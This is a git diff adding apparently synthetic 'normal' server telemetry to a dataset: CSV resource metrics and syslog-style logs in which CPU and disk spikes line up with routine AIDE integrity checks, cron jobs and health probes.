+2025-08-19T10:06:50Z,12.24,44.66,32.79,0.93,1.36 +2025-08-19T10:06:55Z,14.87,42.08,27.44,0.98,0.78 +2025-08-19T10:07:00Z,12.43,43.60,33.48,1.08,1.12 +2025-08-19T10:07:05Z,16.89,44.79,35.62,1.13,1.11 +2025-08-19T10:07:10Z,18.54,43.97,30.52,1.47,1.15 +2025-08-19T10:07:15Z,12.50,44.99,25.80,1.21,1.20 +2025-08-19T10:07:20Z,13.64,43.56,20.88,1.29,0.95 +2025-08-19T10:07:25Z,12.09,42.12,31.28,1.15,1.11 diff --git a/norm_dataset/scenario_16/norm_16_33.log b/norm_dataset/scenario_16/norm_16_33.log new file mode 100644 index 0000000000000000000000000000000000000000..ed15258c7ace3b64deadc083a70be260c0231f4f --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_33.log @@ -0,0 +1,14 @@ +Aug 19 10:00:25 server-01 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:15 server-01 web-app[1234]: GET /api/v1/health status=200 OK +Aug 19 10:02:05 server-01 sshd[4321]: Accepted publickey for user root from 192.168.1.10 port 22 +Aug 19 10:02:30 server-01 cron[3102]: (root) CMD (aide --check) +Aug 19 10:02:31 server-01 aide[3105]: INFO: Starting AIDE integrity check... +Aug 19 10:02:32 server-01 aide[3105]: INFO: Scan started. +Aug 19 10:03:20 server-01 kernel: [12345.678] TCP: TCP_SKB_CB(skb)->tcp_flags = TCPHDR_PSH | TCPHDR_ACK +Aug 19 10:03:45 server-01 kubelet[2345]: INFO: Liveness probe succeeded for pod web-app-xyz +Aug 19 10:04:35 server-01 systemd[1]: Starting session c2 of user root. +Aug 19 10:05:00 server-01 aide[3105]: INFO: All files match the baseline. +Aug 19 10:05:01 server-01 aide[3105]: INFO: Scan finished. +Aug 19 10:05:50 server-01 sshd[4321]: pam_unix(sshd:session): session closed for user root +Aug 19 10:06:40 server-01 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 19 10:07:20 server-01 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_16/norm_16_34.csv b/norm_dataset/scenario_16/norm_16_34.csv new file mode 100644 index 0000000000000000000000000000000000000000..c616b1adac8599a44648d90eb27845e1c76a9013 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_34.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,15.07,41.39,23.59,1.05,0.95 +2025-08-19T10:00:05Z,10.28,42.58,31.49,0.79,0.82 +2025-08-19T10:00:10Z,9.7,40.09,24.35,1.14,1.03 +2025-08-19T10:00:15Z,15.85,40.36,35.55,1.31,0.83 +2025-08-19T10:00:20Z,14.18,39.31,20.74,0.99,0.89 +2025-08-19T10:00:25Z,16.06,42.46,22.22,0.94,0.82 +2025-08-19T10:00:30Z,11.83,41.19,25.31,1.25,0.54 +2025-08-19T10:00:35Z,15.54,41.5,14.63,1.29,0.97 +2025-08-19T10:00:40Z,12.59,40.13,22.7,0.97,1.2 +2025-08-19T10:00:45Z,13.8,38.62,21.81,1.38,0.87 +2025-08-19T10:00:50Z,11.83,37.98,17.95,0.78,0.81 +2025-08-19T10:00:55Z,11.01,40.62,30.86,1.22,0.84 +2025-08-19T10:01:00Z,14.18,43.63,21.69,0.94,0.8 +2025-08-19T10:01:05Z,17.7,42.22,26.23,0.85,1.13 +2025-08-19T10:01:10Z,12.78,42.25,22.4,0.92,0.75 +2025-08-19T10:01:15Z,13.75,37.47,24.4,0.75,1.33 +2025-08-19T10:01:20Z,15.67,37.36,33.84,1.11,0.9 +2025-08-19T10:01:25Z,17.51,39.63,23.97,1.09,0.77 +2025-08-19T10:01:30Z,17.39,41.31,27.78,0.92,0.73 +2025-08-19T10:01:35Z,15.41,36.56,25.19,0.67,0.8 +2025-08-19T10:01:40Z,12.23,37.41,28.64,1.09,1.05 +2025-08-19T10:01:45Z,11.69,38.22,21.18,1.44,0.8 +2025-08-19T10:01:50Z,18.32,36.37,16.01,0.69,1.09 +2025-08-19T10:01:55Z,20.33,41.22,24.54,0.5,0.55 +2025-08-19T10:02:00Z,16.41,39.67,19.36,1.32,0.91 +2025-08-19T10:02:05Z,13.51,42.41,26.73,0.93,0.65 +2025-08-19T10:02:10Z,11.32,37.39,26.2,0.99,0.75 +2025-08-19T10:02:15Z,19.07,38.85,21.44,1.19,1.2 +2025-08-19T10:02:20Z,36.02,40.91,52.75,1.02,1.02 +2025-08-19T10:02:25Z,71.33,42.02,108.79,1.05,0.94 +2025-08-19T10:02:30Z,70.98,40.06,110.44,0.93,0.71 +2025-08-19T10:02:35Z,88.55,39.57,124.59,0.9,0.81 +2025-08-19T10:02:40Z,76.44,35.95,134.24,0.81,0.71 +2025-08-19T10:02:45Z,81.03,41.79,141.48,0.94,1.23 +2025-08-19T10:02:50Z,88.6,44.78,99.15,0.81,0.5 +2025-08-19T10:02:55Z,70.0,42.55,90.0,1.1,0.88 +2025-08-19T10:03:00Z,80.74,39.07,128.43,1.14,0.94 +2025-08-19T10:03:05Z,74.11,38.13,110.04,0.95,0.97 +2025-08-19T10:03:10Z,80.81,43.16,128.74,1.18,1.43 +2025-08-19T10:03:15Z,82.88,43.32,103.02,1.41,0.74 +2025-08-19T10:03:20Z,89.58,40.53,129.54,0.91,1.13 +2025-08-19T10:03:25Z,82.83,40.37,147.35,1.0,1.0 +2025-08-19T10:03:30Z,76.08,40.54,122.37,0.77,1.28 +2025-08-19T10:03:35Z,82.24,41.67,133.69,1.04,0.51 +2025-08-19T10:03:40Z,83.94,38.35,99.18,0.93,1.16 +2025-08-19T10:03:45Z,85.02,38.8,117.38,0.98,0.98 +2025-08-19T10:03:50Z,83.05,41.24,99.77,1.01,0.96 +2025-08-19T10:03:55Z,73.49,44.2,143.84,0.94,0.5 +2025-08-19T10:04:00Z,78.99,39.28,119.56,0.98,0.98 +2025-08-19T10:04:05Z,80.47,41.59,115.47,0.84,1.08 +2025-08-19T10:04:10Z,83.67,38.76,97.58,1.41,1.03 +2025-08-19T10:04:15Z,84.38,39.85,105.32,1.03,1.12 +2025-08-19T10:04:20Z,83.47,35.84,104.08,0.96,0.72 +2025-08-19T10:04:25Z,77.1,39.95,117.7,1.1,1.02 +2025-08-19T10:04:30Z,78.43,40.97,103.81,1.13,0.58 +2025-08-19T10:04:35Z,82.59,39.36,126.1,1.06,0.79 +2025-08-19T10:04:40Z,80.15,40.65,125.33,0.98,1.07 +2025-08-19T10:04:45Z,75.75,39.84,105.44,0.92,0.82 +2025-08-19T10:04:50Z,86.41,38.0,113.56,1.3,0.91 +2025-08-19T10:04:55Z,82.57,39.53,101.16,0.7,0.82 +2025-08-19T10:05:00Z,72.62,38.17,141.76,1.03,0.94 +2025-08-19T10:05:05Z,58.98,36.69,110.53,1.08,0.87 +2025-08-19T10:05:10Z,29.93,38.78,53.82,1.03,0.55 +2025-08-19T10:05:15Z,15.85,40.58,24.03,0.94,0.92 +2025-08-19T10:05:20Z,14.08,40.1,22.02,0.95,0.86 +2025-08-19T10:05:25Z,18.34,40.23,25.81,0.81,1.18 +2025-08-19T10:05:30Z,11.51,40.25,28.93,0.86,0.82 +2025-08-19T10:05:35Z,12.98,39.65,20.84,0.89,1.19 +2025-08-19T10:05:40Z,13.77,40.96,28.51,1.01,0.76 +2025-08-19T10:05:45Z,15.73,38.72,26.03,1.38,0.97 +2025-08-19T10:05:50Z,12.34,39.93,25.84,1.18,0.96 +2025-08-19T10:05:55Z,13.07,39.86,35.01,1.29,0.76 +2025-08-19T10:06:00Z,20.45,40.03,25.46,1.19,0.79 +2025-08-19T10:06:05Z,16.6,41.93,16.37,0.95,0.58 +2025-08-19T10:06:10Z,15.95,44.25,23.41,0.86,1.01 +2025-08-19T10:06:15Z,16.94,40.46,20.32,0.95,0.62 +2025-08-19T10:06:20Z,13.87,40.28,26.39,1.07,0.66 +2025-08-19T10:06:25Z,19.06,39.43,22.35,0.94,1.14 +2025-08-19T10:06:30Z,16.54,44.47,18.41,0.98,1.11 +2025-08-19T10:06:35Z,12.7,42.06,29.72,1.09,0.98 +2025-08-19T10:06:40Z,13.54,41.16,32.33,1.29,1.24 +2025-08-19T10:06:45Z,17.9,39.83,26.31,1.01,0.74 +2025-08-19T10:06:50Z,11.56,38.75,30.98,1.28,1.07 +2025-08-19T10:06:55Z,17.56,40.73,26.04,0.88,1.05 +2025-08-19T10:07:00Z,12.58,42.05,23.15,0.77,0.71 +2025-08-19T10:07:05Z,14.21,38.42,33.39,0.86,0.92 +2025-08-19T10:07:10Z,16.89,38.36,19.55,1.11,1.09 +2025-08-19T10:07:15Z,12.42,42.75,32.06,0.87,0.88 +2025-08-19T10:07:20Z,13.77,41.24,23.03,0.81,0.77 +2025-08-19T10:07:25Z,17.1,38.03,25.25,1.12,1.03 diff --git a/norm_dataset/scenario_16/norm_16_34.log b/norm_dataset/scenario_16/norm_16_34.log new file mode 100644 index 0000000000000000000000000000000000000000..d6e3a267fbcc731e0aef0cd0a0a3e2fd671a52ff --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_34.log @@ -0,0 +1,16 @@ +Aug 19 10:00:25 web-app[1357]: GET /api/v1/health status=200 OK +Aug 19 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:30 web-app[1357]: GET /api/v1/health status=200 OK +Aug 19 10:02:05 sshd[4412]: Accepted publickey for user admin from 192.168.1.10 port 22 +Aug 19 10:02:30 CRON[5150]: (root) CMD (aide --check) +Aug 19 10:02:31 aide[5151]: INFO: Starting AIDE integrity check... +Aug 19 10:02:32 aide[5151]: INFO: Scan started. +Aug 19 10:03:20 web-app[1357]: GET /api/v1/health status=200 OK +Aug 19 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 19 10:04:10 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:00 aide[5151]: INFO: All files match the baseline. +Aug 19 10:05:01 aide[5151]: INFO: Scan finished. +Aug 19 10:05:05 sshd[4412]: pam_unix(sshd:session): session closed for user admin +Aug 19 10:05:50 web-app[1357]: GET /api/v1/health status=200 OK +Aug 19 10:06:40 CRON[5990]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:07:05 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_16/norm_16_35.csv b/norm_dataset/scenario_16/norm_16_35.csv new file mode 100644 index 0000000000000000000000000000000000000000..48428038e920afa7e029f2dc273ca8a3b5510cce --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_35.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,8.35,36.78,25.35,0.99,0.63 +2025-08-19T10:00:05Z,13.87,40.81,36.02,0.55,1.1 +2025-08-19T10:00:10Z,14.24,44.11,37.19,1.2,0.79 +2025-08-19T10:00:15Z,10.5,37.99,27.46,1.18,0.81 +2025-08-19T10:00:20Z,9.95,37.3,14.19,0.74,0.92 +2025-08-19T10:00:25Z,14.09,44.55,24.5,0.59,0.97 +2025-08-19T10:00:30Z,11.88,37.41,20.43,0.62,1.47 +2025-08-19T10:00:35Z,7.63,35.52,29.18,1.18,0.72 +2025-08-19T10:00:40Z,10.2,42.17,13.26,1.14,0.88 +2025-08-19T10:00:45Z,5.17,36.84,26.57,1.23,1.38 +2025-08-19T10:00:50Z,8.82,42.62,15.43,1.48,1.14 +2025-08-19T10:00:55Z,10.12,39.12,20.19,0.83,1.34 +2025-08-19T10:01:00Z,6.37,40.85,17.63,0.7,1.13 +2025-08-19T10:01:05Z,12.85,40.51,32.6,1.44,1.27 +2025-08-19T10:01:10Z,13.92,36.69,30.14,1.3,1.15 +2025-08-19T10:01:15Z,10.44,36.07,14.25,0.58,1.07 +2025-08-19T10:01:20Z,12.78,43.62,30.39,0.75,0.98 +2025-08-19T10:01:25Z,14.76,36.41,24.31,0.54,0.82 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+2025-08-19T10:06:20Z,11.64,38.02,19.11,1.31,1.35 +2025-08-19T10:06:25Z,6.8,37.99,19.03,1.05,1.44 +2025-08-19T10:06:30Z,9.82,40.71,23.05,0.72,0.74 +2025-08-19T10:06:35Z,10.29,43.89,38.05,1.07,0.68 +2025-08-19T10:06:40Z,12.64,41.83,36.48,1.23,0.88 +2025-08-19T10:06:45Z,8.72,35.61,39.69,1.35,0.95 +2025-08-19T10:06:50Z,9.96,42.32,20.98,1.11,1.45 +2025-08-19T10:06:55Z,7.18,35.05,20.14,0.96,1.33 +2025-08-19T10:07:00Z,6.45,42.33,33.71,1.09,0.5 +2025-08-19T10:07:05Z,14.68,41.53,37.93,1.01,1.09 +2025-08-19T10:07:10Z,14.45,36.47,37.96,1.14,1.33 +2025-08-19T10:07:15Z,14.79,42.89,39.82,1.09,0.77 +2025-08-19T10:07:20Z,14.0,39.71,11.69,1.05,1.02 +2025-08-19T10:07:25Z,10.0,38.57,21.01,1.11,1.1 diff --git a/norm_dataset/scenario_16/norm_16_35.log b/norm_dataset/scenario_16/norm_16_35.log new file mode 100644 index 0000000000000000000000000000000000000000..1ac316c26184c73dacc0448a10526961b8448101 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_35.log @@ -0,0 +1,15 @@ +Aug 19 10:00:25 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:50 web-app[1452]: GET /api/v1/health status=200 OK +Aug 19 10:01:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:01:50 web-app[1452]: GET /api/v1/settings status=200 OK +Aug 19 10:02:00 cron[7112]: (root) CMD (/usr/sbin/aide --check) +Aug 19 10:02:01 aide[7113]: INFO: Starting AIDE integrity check... +Aug 19 10:02:02 aide[7113]: INFO: Scan started. +Aug 19 10:02:30 kernel: [11234.5678] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 19 10:03:20 sshd[8012]: Accepted publickey for user from 192.168.1.10 port 22 +Aug 19 10:04:10 web-app[1452]: POST /api/v1/login status=401 Unauthorized +Aug 19 10:04:50 aide[7113]: INFO: All files match the baseline. +Aug 19 10:04:55 aide[7113]: INFO: Scan finished. +Aug 19 10:06:15 systemd[1]: Started Session 123 of user. +Aug 19 10:06:40 web-app[1452]: GET /api/v1/dashboard status=200 OK +Aug 19 10:07:20 CRON[9821]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) diff --git a/norm_dataset/scenario_16/norm_16_36.csv b/norm_dataset/scenario_16/norm_16_36.csv new file mode 100644 index 0000000000000000000000000000000000000000..7f964df32dcbcd36d5d1ccb8ff1c15cd9a4de679 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_36.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,13.41,40.09,11.45,0.81,0.72 +2025-08-19T10:00:05Z,14.35,39.83,17.72,0.82,1.47 +2025-08-19T10:00:10Z,9.19,38.05,22.7,0.65,1.07 +2025-08-19T10:00:15Z,9.28,39.87,21.41,0.93,1.15 +2025-08-19T10:00:20Z,11.8,36.07,10.11,1.15,0.97 +2025-08-19T10:00:25Z,9.24,37.18,29.16,0.72,0.79 +2025-08-19T10:00:30Z,9.6,44.1,20.55,0.79,0.54 +2025-08-19T10:00:35Z,6.93,38.6,23.2,0.53,0.52 +2025-08-19T10:00:40Z,9.88,42.91,29.8,1.39,1.13 +2025-08-19T10:00:45Z,12.56,39.07,11.37,0.81,0.52 +2025-08-19T10:00:50Z,12.65,37.1,11.1,1.33,0.74 +2025-08-19T10:00:55Z,13.19,41.94,18.91,0.65,0.89 +2025-08-19T10:01:00Z,10.14,44.01,21.89,1.35,0.59 +2025-08-19T10:01:05Z,14.33,38.58,16.35,0.67,0.83 +2025-08-19T10:01:10Z,13.16,42.63,11.49,0.67,0.51 +2025-08-19T10:01:15Z,10.08,44.81,22.16,0.86,0.72 +2025-08-19T10:01:20Z,10.38,40.75,22.76,1.27,1.13 +2025-08-19T10:01:25Z,7.3,37.06,26.59,1.13,0.73 +2025-08-19T10:01:30Z,11.95,41.11,21.36,0.84,1.43 +2025-08-19T10:01:35Z,13.23,44.79,14.58,0.94,1.47 +2025-08-19T10:01:40Z,12.57,40.19,24.16,0.88,1.43 +2025-08-19T10:01:45Z,14.05,41.46,29.77,1.06,0.68 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+2025-08-19T10:03:25Z,94.39,46.3,173.66,0.55,1.17 +2025-08-19T10:03:30Z,81.18,49.66,218.81,0.56,1.2 +2025-08-19T10:03:35Z,84.23,47.47,159.87,1.32,0.67 +2025-08-19T10:03:40Z,87.44,42.5,159.08,1.35,1.05 +2025-08-19T10:03:45Z,90.07,46.27,153.12,1.39,0.96 +2025-08-19T10:03:50Z,78.84,48.34,198.43,0.79,0.82 +2025-08-19T10:03:55Z,85.74,49.31,171.47,1.08,0.97 +2025-08-19T10:04:00Z,75.71,46.29,165.35,1.23,0.73 +2025-08-19T10:04:05Z,91.44,44.83,235.92,0.74,1.45 +2025-08-19T10:04:10Z,80.94,45.86,232.97,1.49,0.74 +2025-08-19T10:04:15Z,78.37,42.18,152.25,0.67,0.77 +2025-08-19T10:04:20Z,79.45,40.31,232.44,1.31,1.21 +2025-08-19T10:04:25Z,83.41,47.18,194.69,0.68,1.2 +2025-08-19T10:04:30Z,85.49,43.39,213.73,1.23,0.76 +2025-08-19T10:04:35Z,82.04,48.04,197.86,1.08,1.28 +2025-08-19T10:04:40Z,90.6,43.43,230.5,0.55,1.21 +2025-08-19T10:04:45Z,79.0,42.41,196.24,0.93,1.33 +2025-08-19T10:04:50Z,86.15,47.37,194.17,1.13,1.23 +2025-08-19T10:04:55Z,90.33,46.3,169.35,0.57,1.27 +2025-08-19T10:05:00Z,75.63,43.41,173.27,0.79,0.68 +2025-08-19T10:05:05Z,86.83,49.72,224.92,0.59,0.97 +2025-08-19T10:05:10Z,78.93,47.4,190.06,1.43,1.29 +2025-08-19T10:05:15Z,83.4,49.19,198.55,0.93,1.02 +2025-08-19T10:05:20Z,90.56,44.52,241.55,1.36,0.98 +2025-08-19T10:05:25Z,77.11,42.84,216.5,1.42,1.21 +2025-08-19T10:05:30Z,76.13,41.44,197.24,0.57,1.14 +2025-08-19T10:05:35Z,85.14,42.02,238.51,1.36,0.59 +2025-08-19T10:05:40Z,89.86,46.02,218.03,0.53,1.22 +2025-08-19T10:05:45Z,82.8,43.47,192.05,0.85,1.25 +2025-08-19T10:05:50Z,94.64,45.05,190.44,0.55,0.89 +2025-08-19T10:05:55Z,89.82,40.17,196.93,1.49,1.2 +2025-08-19T10:06:00Z,5.19,39.84,20.3,1.1,1.24 +2025-08-19T10:06:05Z,10.1,36.95,28.69,0.99,0.95 +2025-08-19T10:06:10Z,9.91,43.17,17.82,0.92,1.45 +2025-08-19T10:06:15Z,5.37,35.27,21.93,0.74,1.24 +2025-08-19T10:06:20Z,11.99,37.95,24.31,1.35,1.38 +2025-08-19T10:06:25Z,6.45,39.52,18.33,1.14,1.35 +2025-08-19T10:06:30Z,11.01,41.97,15.02,0.79,0.59 +2025-08-19T10:06:35Z,6.2,38.17,12.64,0.74,0.95 +2025-08-19T10:06:40Z,10.53,36.95,28.43,0.57,0.51 +2025-08-19T10:06:45Z,8.87,40.73,12.66,0.66,1.25 +2025-08-19T10:06:50Z,9.24,37.96,15.78,1.24,1.22 +2025-08-19T10:06:55Z,6.03,40.32,19.39,1.23,1.25 +2025-08-19T10:07:00Z,11.71,40.04,21.87,0.58,0.79 +2025-08-19T10:07:05Z,5.92,39.35,19.53,1.38,0.85 +2025-08-19T10:07:10Z,8.27,43.1,27.58,0.61,1.38 +2025-08-19T10:07:15Z,9.37,44.9,13.89,1.13,0.76 +2025-08-19T10:07:20Z,5.52,41.02,18.86,0.81,1.34 +2025-08-19T10:07:25Z,9.26,35.46,11.14,1.33,0.87 diff --git a/norm_dataset/scenario_16/norm_16_36.log b/norm_dataset/scenario_16/norm_16_36.log new file mode 100644 index 0000000000000000000000000000000000000000..82cf826b01de13b66e436876157529e1609a8008 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_36.log @@ -0,0 +1,15 @@ +Aug 19 10:00:10 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 19 10:00:45 web-app[3341]: GET /health status=200 OK +Aug 19 10:01:45 sshd[5123]: Accepted publickey for user root from 192.168.1.10 port 22 ssh2 +Aug 19 10:02:00 CRON[5512]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 19 10:02:01 CRON[5513]: (root) CMD (/usr/bin/aide --check) +Aug 19 10:02:03 aide[5515]: INFO: Starting AIDE integrity check... +Aug 19 10:02:05 aide[5515]: INFO: Scan started. +Aug 19 10:02:30 systemd[1]: Starting session c2 of user root. +Aug 19 10:03:15 kernel: [12345.678] TCP: request_sock_TCP: Dropping request +Aug 19 10:04:20 web-app[3341]: GET /metrics status=200 OK +Aug 19 10:05:50 aide[5515]: INFO: All files match the baseline. +Aug 19 10:05:55 aide[5515]: INFO: Scan finished. +Aug 19 10:05:56 aide[5515]: INFO: AIDE check successful. +Aug 19 10:06:10 CRON[5512]: (root) END (run-parts --report /etc/cron.daily) +Aug 19 10:06:40 web-app[3341]: GET /health status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_37.csv b/norm_dataset/scenario_16/norm_16_37.csv new file mode 100644 index 0000000000000000000000000000000000000000..49707c40844f73068cf71b0d3192d3b45fcb008e --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_37.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,12.31,41.88,29.96,1.11,0.61 +2025-08-19T10:00:05Z,15.04,44.05,26.62,0.65,0.84 +2025-08-19T10:00:10Z,11.03,43.46,24.92,0.54,0.69 +2025-08-19T10:00:15Z,10.94,39.05,37.66,0.76,0.9 +2025-08-19T10:00:20Z,11.35,38.41,36.55,1.12,1.27 +2025-08-19T10:00:25Z,18.71,37.25,38.95,0.71,1.35 +2025-08-19T10:00:30Z,15.35,42.41,27.68,1.05,0.77 +2025-08-19T10:00:35Z,12.78,35.94,39.44,1.27,0.94 +2025-08-19T10:00:40Z,18.77,37.82,28.26,1.5,1.14 +2025-08-19T10:00:45Z,12.1,37.0,22.52,0.59,1.03 +2025-08-19T10:00:50Z,15.63,40.58,26.42,0.89,0.98 +2025-08-19T10:00:55Z,11.3,41.96,28.03,1.37,0.99 +2025-08-19T10:01:00Z,13.18,43.94,39.46,1.16,0.55 +2025-08-19T10:01:05Z,11.34,41.94,34.51,1.44,1.29 +2025-08-19T10:01:10Z,13.09,42.94,33.81,0.7,0.95 +2025-08-19T10:01:15Z,13.49,39.18,21.94,0.58,1.25 +2025-08-19T10:01:20Z,10.06,36.64,39.2,1.27,1.39 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+2025-08-19T10:03:05Z,94.55,35.56,100.0,1.49,0.73 +2025-08-19T10:03:10Z,95.0,43.21,100.0,0.77,0.88 +2025-08-19T10:03:15Z,95.0,39.1,100.0,0.73,0.53 +2025-08-19T10:03:20Z,94.1,43.12,100.0,0.61,0.51 +2025-08-19T10:03:25Z,91.91,42.46,100.0,0.77,1.07 +2025-08-19T10:03:30Z,95.0,35.58,100.0,1.3,0.58 +2025-08-19T10:03:35Z,95.0,40.41,100.0,0.78,0.94 +2025-08-19T10:03:40Z,95.0,41.12,100.0,0.98,1.01 +2025-08-19T10:03:45Z,95.0,36.39,100.0,0.81,1.17 +2025-08-19T10:03:50Z,88.51,40.84,100.0,1.12,1.43 +2025-08-19T10:03:55Z,95.0,41.37,100.0,0.56,0.83 +2025-08-19T10:04:00Z,93.18,38.17,100.0,0.74,1.19 +2025-08-19T10:04:05Z,88.69,41.63,95.38,1.25,1.4 +2025-08-19T10:04:10Z,90.6,39.56,99.24,0.5,0.54 +2025-08-19T10:04:15Z,95.0,36.83,95.12,0.54,0.87 +2025-08-19T10:04:20Z,89.48,38.0,95.42,1.12,0.89 +2025-08-19T10:04:25Z,94.27,40.76,100.0,1.42,1.12 +2025-08-19T10:04:30Z,95.0,38.48,88.59,1.18,1.46 +2025-08-19T10:04:35Z,79.98,37.78,88.47,1.02,1.15 +2025-08-19T10:04:40Z,79.04,35.29,84.58,0.76,0.56 +2025-08-19T10:04:45Z,86.04,41.73,94.29,1.01,1.2 +2025-08-19T10:04:50Z,89.81,40.64,86.0,0.52,0.62 +2025-08-19T10:04:55Z,79.72,38.1,98.3,0.61,0.91 +2025-08-19T10:05:00Z,19.88,43.42,34.37,0.63,0.75 +2025-08-19T10:05:05Z,12.66,39.52,20.92,0.87,0.67 +2025-08-19T10:05:10Z,15.18,38.79,25.79,0.6,1.2 +2025-08-19T10:05:15Z,15.68,37.25,23.53,1.21,1.01 +2025-08-19T10:05:20Z,19.3,43.35,26.59,1.15,1.21 +2025-08-19T10:05:25Z,11.57,41.51,30.1,0.79,1.13 +2025-08-19T10:05:30Z,17.02,35.1,23.05,1.05,0.9 +2025-08-19T10:05:35Z,14.42,40.65,24.99,1.28,1.38 +2025-08-19T10:05:40Z,19.92,40.59,32.76,1.06,0.87 +2025-08-19T10:05:45Z,12.84,38.66,26.68,1.34,0.59 +2025-08-19T10:05:50Z,11.16,40.38,33.07,1.23,0.67 +2025-08-19T10:05:55Z,16.55,40.7,21.72,0.95,0.57 +2025-08-19T10:06:00Z,19.12,36.58,39.56,1.18,0.7 +2025-08-19T10:06:05Z,13.36,38.31,37.26,0.86,1.36 +2025-08-19T10:06:10Z,15.55,41.19,36.24,1.06,0.62 +2025-08-19T10:06:15Z,15.69,35.1,39.14,0.52,0.55 +2025-08-19T10:06:20Z,14.05,40.98,27.92,1.36,1.47 +2025-08-19T10:06:25Z,14.32,40.93,20.92,1.43,0.91 +2025-08-19T10:06:30Z,10.25,42.8,29.47,0.64,0.62 +2025-08-19T10:06:35Z,11.61,43.99,34.5,1.09,1.38 +2025-08-19T10:06:40Z,18.32,43.92,30.61,1.23,1.4 +2025-08-19T10:06:45Z,12.21,41.27,39.23,1.1,0.65 +2025-08-19T10:06:50Z,14.96,37.74,24.52,0.51,1.01 +2025-08-19T10:06:55Z,12.9,36.88,35.22,0.94,1.29 +2025-08-19T10:07:00Z,16.07,41.45,29.77,1.15,0.89 +2025-08-19T10:07:05Z,16.12,40.43,25.56,1.13,1.26 +2025-08-19T10:07:10Z,18.13,43.77,32.07,1.2,0.84 +2025-08-19T10:07:15Z,11.1,38.3,23.25,0.98,0.73 +2025-08-19T10:07:20Z,10.83,39.47,21.77,1.19,0.69 +2025-08-19T10:07:25Z,10.12,35.5,32.76,0.81,1.27 diff --git a/norm_dataset/scenario_16/norm_16_37.log b/norm_dataset/scenario_16/norm_16_37.log new file mode 100644 index 0000000000000000000000000000000000000000..aa4f418063ec36e6f48063be44697cfb63bcbd9f --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_37.log @@ -0,0 +1,20 @@ +Aug 19 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:25 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 10:01:05 systemd[1]: Started session 123 of user root. +Aug 19 10:01:30 web-app[3456]: GET /api/v1/metrics status=200 OK +Aug 19 10:02:00 CRON[8899]: (root) CMD (aide --check) +Aug 19 10:02:01 aide[8900]: INFO: Starting AIDE integrity check... +Aug 19 10:02:02 aide[8900]: INFO: Scan started. +Aug 19 10:02:30 kernel: [12345.678] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 19 10:03:05 web-app[3456]: GET /api/v1/user/42 status=200 OK +Aug 19 10:03:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 19 10:04:05 systemd[1]: Starting clean up of old session files... +Aug 19 10:04:25 aide[8900]: INFO: Processing file /usr/bin/docker... +Aug 19 10:04:45 aide[8900]: INFO: Processing file /var/log/syslog... +Aug 19 10:04:55 aide[8900]: INFO: All files match the baseline. +Aug 19 10:04:58 aide[8900]: INFO: Scan finished. +Aug 19 10:05:20 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 10:05:55 CRON[9012]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:06:20 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 19 10:06:50 web-app[3456]: GET /api/v1/metrics status=200 OK +Aug 19 10:07:25 systemd[1]: Finished daily apt upgrade and clean activities. diff --git a/norm_dataset/scenario_16/norm_16_38.csv b/norm_dataset/scenario_16/norm_16_38.csv new file mode 100644 index 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+2025-08-19T10:07:25Z,14.055184058425413,39.7055136605718,28.244238980733847,0.7796701266224476,1.0590601821024017 diff --git a/norm_dataset/scenario_16/norm_16_38.log b/norm_dataset/scenario_16/norm_16_38.log new file mode 100644 index 0000000000000000000000000000000000000000..6608faee8534207c429ba81818804b4922e905ac --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_38.log @@ -0,0 +1,16 @@ +Aug 19 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 19 10:01:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:02:05 systemd[1]: Starting systemd-tmpfiles-clean.service... +Aug 19 10:02:30 CRON[8812]: (root) CMD (aide --check) +Aug 19 10:02:30 aide[8813]: INFO: AIDE integrity check started. +Aug 19 10:02:35 aide[8813]: INFO: Reading database... +Aug 19 10:03:00 kernel: [12345.678] EXT4-fs (sda1): mounted filesystem with ordered data mode. +Aug 19 10:03:35 sshd[9123]: Accepted publickey for user from 192.168.1.10 port 22 +Aug 19 10:04:00 aide[8813]: INFO: Comparing file hashes against baseline... +Aug 19 10:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 19 10:04:55 aide[8813]: INFO: All files 